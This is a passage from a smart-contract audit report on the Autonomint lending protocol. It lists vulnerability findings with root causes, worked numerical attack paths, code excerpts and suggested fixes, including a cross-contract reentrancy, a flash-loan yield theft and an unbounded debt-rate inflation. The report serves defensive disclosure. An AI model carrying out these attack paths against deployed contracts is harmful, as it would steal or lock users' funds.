, effectively bringing the cumulative value to 0 (it was -0.1. before). Note that it divides by 1000 and not 900, as the downside protection is applied later. The cds deposited amount becomes 1000 + 1000 - 100 = 1900, where the first 1000 is from the first cds depositor, 1000 from this cds deposit and 100 reduced from the downside protection.Second cds depositor is not able to withdraw their cds deposit as the first cds depositor took 900 USDa even though it contributed to the downside protection, not the second one. This will also happen on a larger scale in case more borrows / depositors participate, the presented scenario was just an example.
POC described in the attack path section.
There are a few options:
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/738
0x73696d616f
The total cds deposited amount is decreased by the returned amount when the cds depositor withdraws, which will include any loss that the cds depositor has taken. After the withdrawal, the following cumulative values will be calculated based on this faulty total cds deposited amount and lead to stuck USDa.
In CDSLib.sol:713
, params.omniChainData.totalCdsDepositedAmount
is decreased by params.cdsDepositDetails.depositedAmount
, which includes the loss.
None.
None.
1 * (1000 - 900) / 1000 = 0.1
. The return amount is 400 - 400 * 0.1 = 360
. The final total cds deposited amount is 1000 - 360 = 640.1 * (1000 - 900) / 640 = 0.15625
, netting -0.1 + 0.15625 = 0.05625
, which becomes 600 + 600 * 0.05625 = 633.75
, so 6.25 USDa will be stuck.640 - 150 - (600 - 600 * (0.1 + 1 * (900 - 850) / 640)) = -3.125
. Note that if it was divided by 600, instead of 640, it would not underflow and everything would add up, for example.Stuck USDa, loss of USDa on withdrawal or DoSed withdrawal, depending on use case.
See attack path above.
Divide by the correct total cds deposited, such that the sum of individual cds deposited amounts equals the total cds deposited amount.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/743
0x73696d616f, John44
Cds depositors get the profit on the eth price increase up to the strike price (5%), and any increase above this threshold goes to the borrowers. However, this amount is never added to the total cds deposited amount, which means that cds depositors can not actually withdraw it as it would underflow.
In borrowing.sol:667/667
, the upside is not added to omniChainData.totalCdsDepositedAmount
.
None.
None.
Cds depositors upside is not withdrawable and will underflow.
Here the upside is not added to the total cds deposited amount, which means that it will underflow when cds depositors withdraw the profit here. The profit is added here.
Add the upside to omniChainData.totalCdsDepositedAmount
.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/744
0x37, 0x73696d616f, John44, valuevalk
Cds depositor generates upside from borrows up to the strike price increase, but calculates the profit on the difference between the deposited and returned amounts, which only differ by the option fees.
In CDSLib.sol:801
, the profit should be calculated on the initial deposited amount without considering the extra profit for the price increase.
None.
None.
Protocol suffers huge losses by not taxing 10% of the profit.
See the links above.
Calculated the profit on the price increase since the cds deposit and the option fees.
totalCdsDepositedAmount
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/746
0x73696d616f
Borrower liquidations of type 1 add a cds profit component to cds depositors by reducing totalCdsDepositedAmount
by a smaller amount of this profit.
The problem with this approach is that it will always calculate cumulative values and option fees based on this value, that is bigger than the individual sum of cds depositors, so some values will be left untracked.
In borrowLiquidation.sol:248
, omniChainData.totalCdsDepositedAmount
is incorrectly reduced by liquidationAmountNeeded - cdsProfits;
.
None.
None.
omniChainData.totalCdsDepositedAmount
, which now differs from the individual sum of cds depositors, leading to untracked values, such as the cumulative value from the vault long position or option fees.Cumulative value calculations and option fees will be incorrect, as they are divided by a bigger number of cds deposited (which was added the profit), but each cds depositor only has the same deposited amount to multiply by these rates.
Consider a borrower that deposited 1 ETH at a 1000 USD / ETH price and borrowed 800 USDa. There is 1 cds depositor that deposited 1000 USDa. The price drops 20% and borrowLiquidation::liquidationType1()
is called.
returnToAbond
is (1000 - 800) * 10 / 100 = 20
.cdsProfits
is 1000 - 800 - 20 = 180
.liquidationAmountNeeded
is 800 + 20 = 820
.cdsAmountToGetFromThisChain
is 820 - 180 = 640
.omniChainData.totalCdsDepositedAmount
is 1000 - (820 - 180) = 360
.Do not add the profit to totalCdsDepositedAmount
.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/750
0x73696d616f, volodya
Liquidation profit is calculated in borrowingLiquidation::liquidationType1()
, but is actually never handled and given to cds depositors. It is stored and added to totalCdsDepositedAmount
, but it is missing the functionality to send the profits to cds depositors in CDSLib::withdrawUser().
In CDSLib::withdrawUser()
, the cds profits stored in omniChainCDSLiqIndexToInfo
are not given to the cds depositors.
None.
None.
Cds depositors take losses on liquidation instead of profiting.
See the links above.
Calculate the share of the profits and send to the cds depositors.
borrowing::withdraw()
at a loss will increase downside protected and misscalculate option feesSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/757
0x73696d616f
borrowing::withdraw()
at a loss increases the downside protected, here. Then, whenever someone deposits to borrow, option fees are added to the cumulative rate, which is calculated based on omniChainData.totalCdsDepositedAmountWithOptionFees - omniChainData.downsideProtected
.
As it calculates the rate based on a decreased amount, but the rate is then multiplied by the full amount checkpointed at the cds deposit (normalized), extra option fees will be given to cds depositors.
In CDS.sol:680
, downside protected is subtracted from totalCdsDepositedAmountWithOptionFees
.
None.
None.
uint128 percentageChange = _fees / netCDSPoolValue; = 50 / (1000 - 100) = 50 / 900
. currentCumulativeRate = 1 + 50 / 900 = 950 / 900
. Here is the downsideProtection subtracted and the percentage calculation here.cdsDepositDetails.normalizedAmount * omniChainData.lastCumulativeRate) - cdsDepositDetails.depositedAmount
, where cdsDepositDetails.normalizedAmount = 1000 / 1 = 1000
, yielding 1000 / 1 * 950 / 900 - 1000 = 55.555
, more than the 50 USD option fees.Cds depositors gets more option fees than it should, stealing USDa from other users in the protocol, such as other cds depositors that will not be able to withdraw due to lack of liquidity.
See the calculations above.
The downside protection must not be taken into account when calculating the option fees.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/759
0x37, 0x73696d616f
After we liquidate via liquidation type1 method, all cds owner's liquidation share will change. This will cause some liquidated collateral will be locked.
When one borrow position is unhealthy, the admin will liquidate this position. We will record each liquidated position's needed liquidation amount. When cds owners withdraw their positions, we will loop all liquidated positions to check this position's used liquidated amount.
When we record this liquidated position's needed liquidation amount, we use liquidationAmountNeeded
. But we update omniChainData.totalAvailableLiquidationAmount
via deducting liquidationAmountNeeded - cdsProfits
.
When cds owners withdraw their positions, liquidationAmountNeeded
amount will be deducted from their liquidation amount, but we only deduct liquidationAmountNeeded - cdsProfits
from the totalAvailableLiquidationAmount
. This will cause the left liquidation amount from all cds owners will be less than totalAvailableLiquidationAmount
.
For example:
totalAvailableLiquidationAmount
= 2000 USDA.liquidationAmountNeeded
= 1000 USDA, cdsProfits
= 150 USDA. Then totalAvailableLiquidationAmount
after the first liquidation will be 1150 USDA.params.cdsDepositDetails.liquidationAmount
= 1000.liquidationData.availableLiquidationAmount
is 1150 USDA. Alice's share will be less than 100%. But Alice is the only cds owners. Alice cannot get all liquidated collateral. This will cause some liquidated collateral will be locked.liquidationInfo = CDSInterface.LiquidationInfo( liquidationAmountNeeded, cdsProfits, depositDetail.depositedAmount, omniChainData.totalAvailableLiquidationAmount, depositDetail.assetName, ((depositDetail.depositedAmount * exchangeRate) / 1 ether) ); ... omniChainData.totalAvailableLiquidationAmount -= liquidationAmountNeeded - cdsProfits;
for (uint128 i = (liquidationIndexAtDeposit + 1); i <= params.omniChainData.noOfLiquidations; i++) { uint128 liquidationAmount = params.cdsDepositDetails.liquidationAmount; if (liquidationAmount > 0) { CDSInterface.LiquidationInfo memory liquidationData = omniChainCDSLiqIndexToInfo[i]; uint128 share = (liquidationAmount * 1e10) / uint128(liquidationData.availableLiquidationAmount); params.cdsDepositDetails.liquidationAmount -= getUserShare(liquidationData.liquidationAmount, share); ... }
N/A
N/A
totalAvailableLiquidationAmount
= 2000 USDA.liquidationAmountNeeded
= 1000 USDA, cdsProfits
= 150 USDA. Then totalAvailableLiquidationAmount
after the first liquidation will be 1150 USDA.params.cdsDepositDetails.liquidationAmount
= 1000.liquidationData.availableLiquidationAmount
is 1150 USDA. Alice's share will be less than 100%. But Alice is the only cds owners. Alice cannot get all liquidated collateral. This will cause some liquidated collateral will be locked.Some liquidated collateral will be locked.
N/A
No response
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/762
0x73696d616f
The cds amount to reduce on liquidations from each chain is given by the share of cds deposit, but then the liquidation amount by each cds depositor is given by the available liquidation amount pro-rata to the depositor's liquidation amount, which renders the first share calculation incorrect.
In CDSLib.sol:728
, totalCdsDepositedAmount
is reduced by params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount
, but in BorrowLib:390
, the share is given by the cds amounts of each chain, not the available liquidation amounts.
None.
None.
_liqAmount
is 820 (1000 - 800 - 20, where 800 is the debt and 20 is the amount to return to abond, given by (1000 - 800) * 10 / 100
)liqAmountToGet
is 41;779 (820 multiplied by the shares of each chain)cdsProfits
are 9;171 (total is 180, 1000 - 820, these 2 are multiplied by shares)cdsAmounts
32;608 (chainA cds amount to get is 41 - 9 = 32 and chainB is 779 - 171 = 608).Chain B will have 18000 cds withdrawn (consider that the price goes back up in the meantime and they don't take losses), and only the cds depositor that provided liquidation amount is left. As it will fetch 608 cds amount from the cds, it becomes 19000 - 18000 - 608 = 392
. Then, when it loops through the liquidations that happened, share is 50%
(availableLiquidationAmount / totalAvailableLiquidationAmount), so params.cdsDepositDetails.liquidationAmount
becomes 1000 - 0.5 * 820 = 590
. Then, totalCdsDepositedAmount -= (params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount); = 392 - (1000 - 590) = -18
, which underflows.
This proves that Chain B is overcharged.
The chain with the most cds will be charged to much cds as the liquidation amount to subtract for each depositor is given by the available liquidation amount, but the cds was removed based on the cds amount.
See above.
Consider using share calculation in borrowingLiquidation.sol
based on the available liquidation amounts themselves.
borrowing::liquidate()
sends the wrong liquidation index to the destination chain, overwritting liquidation information and getting collateral stuckSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/775
0x37, 0x73696d616f, santiellena
borrowing::liquidate()
sends the noOfLiquidations
variable as liquidation index to the other chain. However, liquidations are tracked in omniChainData.noOfLiquidations
, on both chains. For example, if a liquidation happens on chain A, it increases to 1 and sends this information to chain B. If a liquidation happens on chain B, it will have index 2, not 1.
In borrowing:402
, the wrong variable is sent as liquidation index to the other chain.
None.
None.
omniChainData.noOfLiquidations
to 1 and noOfLiquidations
to 1 also.noOfLiquidations
to send the index.Stuck collateral.
See above.
Pass in the correct index, given by omnichainData.noOfLiquidations
.
borrowing::calculateCumulativeRate()
any number of times to inflate debt rate as lastEventTime
is not updatedSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/778
0x37, 0x73696d616f, 0xAadi, Audinarey, Cybrid, EgisSecurity, John44, KobbyEugene, PeterSR, RampageAudit, almurhasan, durov, onthehunt, super_jack, volodya
borrowing::calculateCumulativeRate() does not update lastEventTime
, so the cumulative rate may be increased unbounded, forcing users to repay much more debt.
In borrowing::calculateCumulativeRate()
, lastEventTime
is not updated.
None.
None.
borrowing::calculateCumulativeRate()
any number of times.Borrowers take massive losses as they have to repay much more.
See links above.
Update lastEventTime
.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/817
0x73696d616f
BorrowLib::redeemYields()
gets usdaToAbondRatioLiq
, which is the amount of USDa gained from liquidations pro-rata to the total supply of abond, at current value without consideration from previous depositors. This means that if some user holds abond and a liquidation happens, other users can mint abond to steal yield from past liquidations.
In BorrowLib.sol:1002
, there is no consideration from past/next abond holders.
None.
None.
borrowing.sol
, minting abond tokens.borrowLiquidation::liquidationType1()
, adding USDa from liquidation.borrowing.sol
and steal these USDa, even using a flashloan if necessary.Abond holders suffer losses.
None.
Add a cumulative tracking variable to handle this case.
CDSLib::withdrawUserWhoNotOptedForLiq()
tax is not stored in the treasurySource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/829
0x37, 0x73696d616f, Audinarey, almurhasan, onthehunt
CDSLib::withdrawUserWhoNotOptedForLiq()
does not store the tax from the cds depositor profit, leaving these funds stuck. It must call Treasury::updateUsdaCollectedFromCdsWithdraw()
, similarly to what is done when the user opts in for liquidation.
In CDSLib::withdrawUserWhoNotOptedForLiq()
, the profit tax is not stored in the treasury.
None.
None.
Stuck funds.
None.
Call Treasury::updateUsdaCollectedFromCdsWithdraw()
on the profit.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/832
t.aksoy, valuevalk
The withdraw function in the CDS contract is vulnerable to cross-contract reentrancy attacks due to delayed updates to the omniChainData global state. During execution, funds are transferred to the user via a low-level .call
function, granting control to the user before omniChainData
is updated. A malicious user could exploit this by calling borrowing contract and altering the global omniChainData state. This results in the outdated in-memory omniChainData being used to overwrite the updated global state at the end of the transaction, breaking calculations and potentially preventing user withdrawals from borrowing contract.
In the CDS withdraw function, the omniChainData is fetched and stored in memory at the beginning of the transaction. This data is subsequently updated in the global state only after all operations are complete. During the execution of the withdraw function, if the user opts for liquidation gains, the function transfers ETH to the user using the .call function. This grants control to the user mid-execution.
A malicious user can exploit this control to interact with borrowing contract, modifying the global omniChainData state. However, at the end of the withdraw function, the outdated in-memory omniChainData is written back to the global state, overwriting any legitimate changes made during the reentrant call.
function withdraw( uint64 index, uint256 excessProfitCumulativeValue, uint256 nonce, bytes memory signature ) external payable nonReentrant whenNotPaused(IMultiSign.Functions(5)) { // Step 1: Fetch omniChainData in memory IGlobalVariables.OmniChainData memory omniChainData = globalVariables.getOmniChainData(); // Perform calculations and updates using in-memory omniChainData withdrawResult = CDSLib.withdrawUser( WithdrawUserParams(cdsDepositDetails, omniChainData, ...)); // Step 4: Update global state, overwriting changes made during reentrancy globalVariables.setOmniChainData(withdrawResult.omniChainData); // @audit outdated data overwrites updates } function withdrawUser( ) public returns (CDSInterface.WithdrawResult memory) { if (!params.cdsDepositDetails.optedLiquidation) { } else { // Step 2: Transfer liquidation gains to user from treasury if (params.ethAmount != 0) { params.omniChainData.collateralProfitsOfLiquidators -= totalWithdrawCollateralAmountInETH; // Call transferEthToCdsLiquidators to tranfer eth interfaces.treasury.transferEthToCdsLiquidators( msg.sender, params.ethAmount ); } } } function transferEthToCdsLiquidators( address user, uint128 amount ) external onlyCoreContracts { // Step 3: Transfer ETH, control transferred to user (bool sent, ) = payable(user).call{value: amount}(""); if (!sent) revert Treasury_EthTransferToCdsLiquidatorFailed(); }
No response
If the malicious user repeats this attack multiple times with high X values totalVolumeOfBorrowersAmountinWei
becomes artificially low preventing users withdrawal from borrowing the contract
Incorrect omniChainData values disrupt critical calculations, such as the CDS pool-to-ETH ratio, cumulative values
Withdrawal operations in borrowing contract may fail due to invalid state variables.
No response
Adhere to the checks-effects-interactions pattern.
Update the global state (omniChainData) before transferring control to the user.
BorrowLib.getOptionFeesToPay()
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/834
0xAadi, 0xAristos, 0xundiscover, Audinarey, KungFuPanda, LordAlive, ParthMandale, futureHack, itcruiser00, nuthan2x, smartkelvin, tedox, theweb3mechanic, tjonair, valuevalk, volodya, wellbyt3, xKeywordx
A logical error exists in the BorrowLib.getOptionFeesToPay()
function's timestamp condition, which is intended to enforce a renewal window for options. The current implementation uses a logical AND (&&) that results in an impossible condition, potentially leading impossible eligibility check to renew position for users.
The issue is found in the following code snippet within the getOptionFeesToPay()
function:
// check the user is eligible to renew position if ( block.timestamp < @> depositDetail.optionsRenewedTimeStamp + 15 days && block.timestamp > depositDetail.optionsRenewedTimeStamp + 30 days ) revert IBorrowing.Borrow_DeadlinePassed();
The condition uses a logical AND (&&), requiring the timestamp to be both less than 15 days and more than 30 days after optionsRenewedTimeStamp
, which is logically impossible.
This results in the condition never being true, potentially allowing renewals outside the intended window.
No response
No response
renewOptions()
function at any time, regardless of the intended renewal window.The intended enforcement of a renewal window is not functioning as expected, allowing renewals at any time. This could lead to unauthorized renewals.
No response
Change the condition to use a logical OR (||) to correctly enforce the renewal window:
// check the user is eligible to renew position if ( block.timestamp < - depositDetail.optionsRenewedTimeStamp + 15 days && + depositDetail.optionsRenewedTimeStamp + 15 days || block.timestamp > depositDetail.optionsRenewedTimeStamp + 30 days ) revert IBorrowing.Borrow_DeadlinePassed();
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/848
0x37, 0x73696d616f, 0xNirix, EgisSecurity, LZ_security, santiellena, valuevalk
Due to the lack of a locking mechanism and the non-atomic nature of cross-chain operations, global states may be at risk of being overwritten.
https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/GlobalVariables.sol#L43
In both Optimism and Mode, there is a global variable omniChainData, which contains numerous data items as follows:
struct OmniChainData { uint256 normalizedAmount; uint256 vaultValue; uint256 cdsPoolValue; uint256 totalCDSPool; uint256 collateralRemainingInWithdraw; uint256 collateralValueRemainingInWithdraw; uint128 noOfLiquidations; uint64 nonce; uint64 cdsCount; uint256 totalCdsDepositedAmount; uint256 totalCdsDepositedAmountWithOptionFees; uint256 totalAvailableLiquidationAmount; uint256 usdtAmountDepositedTillNow; uint256 burnedUSDaInRedeem; uint128 lastCumulativeRate; uint256 totalVolumeOfBorrowersAmountinWei; uint256 totalVolumeOfBorrowersAmountinUSD; uint128 noOfBorrowers; uint256 totalInterest; uint256 abondUSDaPool; uint256 collateralProfitsOfLiquidators; uint256 usdaGainedFromLiquidation; uint256 totalInterestFromLiquidation; uint256 interestFromExternalProtocolDuringLiquidation; uint256 totalNoOfDepositIndices; uint256 totalVolumeOfBorrowersAmountLiquidatedInWei; uint128 cumulativeValue; // cumulative value bool cumulativeValueSign; // cumulative value sign whether its positive or not negative uint256 downsideProtected; }
The design of this protocol ensures that any changes to omniChainData on one chain are synchronized to other chains via Layer_Zero.
However, due to the lack of a locking mechanism and the non-atomic nature of cross-chain operations, this could lead to overwriting of global states. The following is a simple explanation using a borrow example:
1. Alice deposits 1 ETH on Optimism, and almost simultaneously, Bob deposits 100 ETH on the Mode chain.
2. The totalVolumeOfBorrowersAmountinWei on Optimism becomes 1e18, while on the Mode chain, it becomes 100 * 1e18.
3. Both Optimism and Mode chains send globalVariables.send to synchronize their local data to the other chain.
4. As a result, totalVolumeOfBorrowersAmountinWei on Optimism becomes 100 * 1e18, while on the Mode chain, it becomes 1e18.
Both chains now hold incorrect totalVolumeOfBorrowersAmountinWei values. The correct value should be 101 * 1e18.
The fundamental issue is that when Alice deposits on Optimism, the cross-chain synchronization to the Mode chain cannot prevent users from performing nearly simultaneous actions on the Mode chain, leading to overwriting of global states.
Furthermore, there could also be scenarios where a message is successfully sent via Layer_Zero on Optimism but encounters an error when executing receive() on the Mode chain, leading to additional inconsistencies.
No response
No response
No response
Errors in global accounting data can lead to incorrect calculations in critical system processes.
No response
Modify and improve the relevant data synchronization mechanism.
omniChainData.cdsPoolValue
, getting profit stuck for cds depositorsSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/919
0x73696d616f
BorrowLib::calculateRatio() sets omniChainData.cdsPoolValue
to previousData.totalCDSPool + netPLCdsPool
, disregarding any past value of omniChainData.cdsPoolValue
, when the noOfDeposits
is null.
noOfDeposits
is omniChainData.totalNoOfDepositIndices
, which is increased and decrease on borrower deposit and withdraw, respectively. Hence, it's possible to make it null again while still having cds depositors and positive long contributions to omniChainData.cdsPoolValue
.
In BorrowLib:199
, omniChainData.cdsPoolValue
is overwritten.
None.
None.
omniChainData.cdsPoolValue
will increase to 1000 + 1 * (1050 - 1000) = 1050
. The cumulative value in cds is updated, adding 1 * (1050 - 1000) / 1000 = 0.05
.omniChainData.totalNoOfDepositIndices
is 0 now. So, previousData.cdsPoolValue = currentCDSPoolValue;
is set, and currentCDSPoolValue = previousData.totalCDSPool + netPLCdsPool = 1000 + 0 = 1000
. netPLCdsPool == 0
because the price is 1050 now and has not changed.1000 * 0.05 = 50
USD, but previousData.cdsPoolValue
is 1000 USD, as the cds depositor tries to withdraw 1050 USD, it underflows.Cds depositor can not withdraw 50 USDa profit (and whole deposit, until someone else deposits cds and this user steals cds from the next depositor).
See above explanation.
Consider track if there is pending net cds pool.
omnichain.totalAvailableLiquidationAmount
in withdrawUser
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/930
0x37, 0x73696d616f, Cybrid, Waydou, volodya
In the deposit
function we update omnichain.totalAvailableLiquidationAmount
based on the enw deposit, however The Withdraw
function processes user withdrawals but fails to update the omnichain.totalAvailableLiquidationAmount.
This omission creates a discrepancy between the protocol's actual liquidation capacity and the recorded available amount. While the deposit function correctly adjusts this value, the absence of an update during withdrawals leads to an inflated totalAvailableLiquidationAmount,
potentially allowing the protocol to overcommit its liquidation resources.
The withdrawUser
function processes user withdrawals without adjusting the omnichain.totalAvailableLiquidationAmount
to reflect the reduced CDS pool.
The deposit
function, in contrast, correctly updates this value when users contribute to the CDS pool.
No response
No response
totalAvailableLiquidationAmount
causes some liquidation gains to remain undistributed, locking funds in the protocol.A portion of liquidation gains remains locked in the CDS pool, reducing the funds distributed to eligible users.
Remaining CDS participants receive a smaller share of the liquidation gains than they are entitled to.
params.omniChainData.totalAvailableLiquidationAmount -= params.cdsDepositDetails.withdrawedAmount;
I should note there seems to be no update on omnichain, this should be looked at
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/993
0x73696d616f
borrowLiquidation::liquidationType1()
reduces omniChainData.totalCdsDepositedAmount
, so the option fees will be calculated on this reduced total cds depositors, but the normalized deposit of each borrower still amounts to their initial value, overcharging option fees.
In borrowLiquidation:248
, the omniChainData.totalCdsDepositedAmount
is reduced, but the option fees normalized deposits are not accounted for.
None.
None.
At this point, the total normalized amount of the cds depositor is 1000 (1000 USda divided by 1 rate).
6. Borrower is liquidated and omniChainData.totalCdsDepositedAmount
becomes 360
(1000 - (800 + 20 - 180)
, where 800 is the debt, 20 is the amount to return to abond and 180 is the cds profits).
7. New borrower deposits and pays 50 USD option fees. CDS::calculateCumulativeRate() calculates percentageChange
as 50 / 360
. The new rate becomes 1 * (1 + 50 / 360) = 1.1389
.
8. Borrower withdraws.
9. Cds depositor withdraws, getting from option fees 1000 * 1.1389 - 1000 = 138.9
, way more than it should.
Cds depositor gets much more option fees than it should.
See above.
Adjust the cumulative rate when reducing the cds deposited amount with option fees or similar.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/998
0x23r0, 0xAristos, Audinarey, AuditorPraise, Aymen0909, DenTonylifer, Flashloan44, John44, LZ_security, Ocean_Sky, RampageAudit, nuthan2x, santiellena, super_jack, t.aksoy, theweb3mechanic, valuevalk, volodya, wellbyt3
In the Liquidation Type 1 process, Ether refunds are being sent to an incorrect recipient address. Specifically, refunds should be directed to the admin user, who acts as the liquidation operator and is the legitimate recipient. However, the current implementation mistakenly sends the refund to the borrower’s address.
File: borrowLiquidation.sol 302: if (liqAmountToGetFromOtherChain == 0) { 303: (bool sent, ) = payable(user).call{value: msg.value}(""); //@note wrong address 304: require(sent, "Failed to send Ether"); 305: }
When liqAmountToGetFromOtherChain is zero or cross-chain operations are unnecessary, the Ether refund is incorrectly sent to the borrower’s address instead of the admin’s address. This misdirection can result in the admin losing funds that should rightfully be refunded to them.
No response
No response
Here is the scenario
The admin, who is responsible for executing the Liquidation Type 1 process, loses Ether refunds that should be rightfully sent to them.
see attack path
Update the recipient address in the refund logic to the admin’s address.
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/999
0x37, 0xbakeng, LordAlive, ParthMandale, PeterSR, futureHack, gss1, influenz, onthehunt, pashap9990, santiellena, valuevalk, volodya, wellbyt3, zatoichi0826
A significant vulnerability exists in the protocol's downside protection mechanism where borrowers can receive protection benefits during withdrawal even after their options have expired. While the system is designed to provide downside protection for the initial 30-day maturity period in exchange for an option fee, the current implementation fails to properly validate the maturity timeline during withdrawals.
No check implementation is done for checking if the borrower's depositDetail.optionsRenewedTimeStamp
time comes under maturity time from the current time (block.timestamp)
Even if the borrower has not even renewed options for more than 30 days maturity time then also he will get downside protection from the protocol, and that's the ISSUE as the
protocol will have to take loss because user will pay back the protocol less debt amount than intended.
Here
Calculation happening for borrower's downside protection (even if he is not in options maturity, because of lack of check):
uint128 downsideProtected = calculateDownsideProtected( depositDetail.depositedAmountInETH, params.ethPrice, depositDetail.ethPriceAtDeposit );
Next
Total Debt Amount to pay back is getting subtracted with that calculated downside protection amount, and user is paying less than indended to protocol. Ultimatly here Protocol will suffer.
depositDetail.totalDebtAmountPaid = borrowerDebt - downsideProtected;
Downside protection is calculated to a positive number when the provided asset in eth price at the time of deposit was more than the price of current eth price.
ie. when the collateral price is fallen below.
No response
. Borrower initiates a loan position
2. Deliberately waits for an extended period (e.g., one year) without renewing options
3. Executes withdrawal after significant price movements
4. Receives unauthorized downside protection benefits
5. Repays reduced debt amount despite expired protection
The vulnerability creates a substantial financial risk for the protocol as it allows borrowers to unfairly benefit from expired protection mechanisms. This results in:
No response
Implement strict validation of option maturity during withdrawal:
depositDetail.optionsRenewedTimeStamp
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1004
0x37, 0x73696d616f, John44, LordAlive, Pablo, ParthMandale, PeterSR, Ruhum, futureHack, jah, nuthan2x, t.aksoy
The protocol provides >= 20% downside protection on the collateral depending on the volatility of collateral. However, users should pay USDA amount for downside protection, while withdrawing and protocol doesn't cover downside protection.
In the BorrowLib.sol withdraw()
function, users return usda and receive collateral. Although protocol covers 20% downside protection, users should return amount of downsideProtected
.
Let's see line 867 and line 878, and calculate total usda amount users should hold: burnValue + (borrowerDebt - depositDetail.borrowedAmount) + discountedCollateral = depositDetail.borrowedAmount - discountedCollateral + (borrowerDebt - depositDetail.borrowedAmount) + discountedCollateral = borrowerDebt.
As result, users should return full debt(borrowerDebt) and the protocol doesn't cover downsideProtected
.
function withdraw( ITreasury.DepositDetails memory depositDetail, IBorrowing.BorrowWithdraw_Params memory params, IBorrowing.Interfaces memory interfaces ) external returns (IBorrowing.BorrowWithdraw_Result memory) { ... // Calculate the USDa to burn 867 uint256 burnValue = depositDetail.borrowedAmount - discountedCollateral; // Burn the USDa from the Borrower bool success = interfaces.usda.burnFromUser(msg.sender, burnValue); if (!success) revert IBorrowing.Borrow_BurnFailed(); ... //Transfer the remaining USDa to the treasury 878 bool transfer = interfaces.usda.transferFrom( msg.sender, address(interfaces.treasury), (borrowerDebt - depositDetail.borrowedAmount) + discountedCollateral ); if (!transfer) revert IBorrowing.Borrow_USDaTransferFailed(); ... }
Users should return usda amount for downside protection and the protocol doesn't cover downside protection.
Deduct downside protection.
function withdraw( ITreasury.DepositDetails memory depositDetail, IBorrowing.BorrowWithdraw_Params memory params, IBorrowing.Interfaces memory interfaces ) external returns (IBorrowing.BorrowWithdraw_Result memory) { ... // Calculate the USDa to burn uint256 burnValue = depositDetail.borrowedAmount - discountedCollateral; // Burn the USDa from the Borrower bool success = interfaces.usda.burnFromUser(msg.sender, burnValue); if (!success) revert IBorrowing.Borrow_BurnFailed(); ... //Transfer the remaining USDa to the treasury bool transfer = interfaces.usda.transferFrom( msg.sender, address(interfaces.treasury), - (borrowerDebt - depositDetail.borrowedAmount) + discountedCollateral + (borrowerDebt - depositDetail.borrowedAmount - downsideProtected) + discountedCollateral ); if (!transfer) revert IBorrowing.Borrow_USDaTransferFailed(); ... }
totalCdsDepositedAmountWithOptionFees
is incorrectly reduced in CDSLib::withdrawUser()
, leading to stuck option feesSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1019
0x73696d616f, 0xe4669da, John44, almurhasan
totalCdsDepositedAmountWithOptionFees
in CDSLib::withdrawUser()
is reduced by:
totalCdsDepositedAmountWithOptionFees -= (params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount + params.optionsFeesToGetFromOtherChain);
This is incorrect as the correct amount to reduce in option fees is params.optionFees - params.optionsFeesToGetFromOtherChain
, not optionsFeesToGetFromOtherChain
in this chain. As such, depending on the cds amounts of each chain, it will lead to too many/little option fees registered in the local chain, which will lead to stuck option fees.###
In CDSLib.sol:731
, totalCdsDepositedAmountWithOptionFees
is reduced by the incorrect amount.
None.
None.
params.optionsFeesToGetFromOtherChain
is null. Suppose a liquidation happened of 500, deposited amount is 1000 and options fees are 50, the resulting totalCdsDepositedAmountWithOptionFees
is :totalCdsDepositedAmountWithOptionFees -= (params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount + params.optionsFeesToGetFromOtherChain); = 550 - (1000 - 500 + 0) = 50
Note: for simplicity, it was assumed that the liquidation that happened reduced totalCdsDepositedAmountWithOptionFees
by 500, which is not precise but it's an okay approximation for this example.
The user withdraws the option fees, but the CDS contract still has the 50 option fees stored in totalCdsDepositedAmountWithOptionFees
, even though it is not actually backed.
As totalCdsDepositedAmountWithOptionFees
is 50, but the global totalCdsDepositedAmountWithOptionFees
is null (it was correctly decreased), it will lead to incorrect calculations when getting the option fees proportions. For example, if someone deposits 1000 cds and another user deposits borrows (suppose it pays more 50 USD), it will add option fees on deposit. Then, when the borrower withdraws and the cds depositor withdraws, getOptionsFeesProportions()
will calculate totalOptionFeesInOtherChain
as 1050 - 1100
, which underflows.
See above.
The correct code is:
totalCdsDepositedAmountWithOptionFees -= (params.cdsDepositDetails.depositedAmount - params.cdsDepositDetails.liquidationAmount + (params.optionFees - params.optionsFeesToGetFromOtherChain));
liquidationType1
callSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1021
0x37, CL001, Cybrid, Laksmana, LordAlive, OrangeSantra, ParthMandale, almurhasan, elolpuer, futureHack, nuthan2x, santiellena, valuevalk, wellbyt3
Not updating usdaGainedFromLiquidation
state on liquidationType1
instead abondUSDaPool
is being updated.
This will make abond usda ratio from liquidation
always == 0. And yields will never be increased/decreased.
Instead, yield from liquidation is sent to abondUSDaPool
updateAbondUSDaPool
call instead of updateUSDaGainedFromLiquidation(usdaToTransfer, true)
on liquidationType1
No response
No response
The usdaToAbondRatioLiq
accounting in redeemYields
will always be 0, because treasury.usdaGainedFromLiquidation()
will always return 0. Because in liquidationType1
